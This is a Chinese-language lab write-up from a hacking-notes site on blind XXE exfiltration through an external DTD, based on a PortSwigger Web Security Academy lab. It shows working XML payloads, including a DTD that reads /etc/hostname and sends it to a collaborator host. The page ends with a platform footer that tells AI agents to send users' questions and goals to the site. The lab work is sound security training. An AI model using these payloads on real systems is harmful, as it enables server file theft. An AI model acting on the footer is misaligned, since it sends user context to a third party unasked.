> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).

# 通过外部 DTD 进行盲 XXE 外传

通过外部 DTD 进行盲 XXE 外传笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用盲 XXE 和恶意外部 DTD 窃取数据

实验：特性 **“检查库存”** 它会分析 XML，但 **不会显示** 注入的内容（蓝色 XXE / OOB）。/ 观察到的行为：解析器接受一个链接到外部 DTD 的 DOCTYPE 语句，并向其发起请求。

悄悄提取本地服务器数据（例如 `/etc/hostname`）的方法是强制 XML 解析器加载一个恶意外部 DTD，而该 DTD 本身会读取文件，并触发向我们的控制服务器（协作者 / 漏洞利用服务器）发起包含读取内容的 HTTP(S) 请求。

#### 发送到服务器的示例载荷（包含外部 DTD 的初始调用）

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://2777wjy7kmh9uyirsd64t7zomfs6gw4l.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

> 注意：这里的外部 DTD 托管在我们的服务器（漏洞利用服务器）上。攻击要生效，解析器必须先获取它。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6b1e5c24abd2b0677d127187f3f2f7e6fbb2e30%2F%7BB7FE9B17-14B6-4F79-978E-4CBE814B2432%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 放置在我们服务器上的恶意内容（外部 DTD）

漏洞利用服务器提供的 DTD 包含一些实体，它们会读取本地文件并构建一个经过求值的实体，从而触发向协作者发送包含外泄内容的请求：

{% code overflow="wrap" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://pibu769uv9sw5lte30hr4uabx23urkf9.oastify.com?content=%file;'>">
%eval;
%exfil;
```

{% endcode %}

简要说明：

* `%file`: 读取 `file:///etc/hostname` 本地文件。
* `%eval`: 动态构造一个新的 `exfil` 实体，其值是指向我们的数据外泄服务器的 URL，并包含 `%file` 内容作为 `内容` 参数利用。
* `%eval;` 和 `%exfil;` 从而触发展开，并发出包含数据的 HTTP 请求。

#### 完整示例（攻击者向易受攻击应用发起的最终调用）

{% code overflow="wrap" %}

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://exploit-0a230088031451be8148386401b600f9.exploit-server.net/exploit"> %myFile;]>

<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

* 该 DTD 将 `https://.../exploit` 包含上面的恶意 DTD 定义。
* 当解析器恢复并求值该 DTD 时，最终会向我们的去外泄服务器发起一个 HTTP 请求，其中带有 `/etc/hostname` 内容。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bc481c8eb9c901d2c1f09815cdad49b58d2654a%2F%7B291A914D-68D3-4308-9B31-13EDEA3D4821%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-exfiltration-via-external-dtd.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
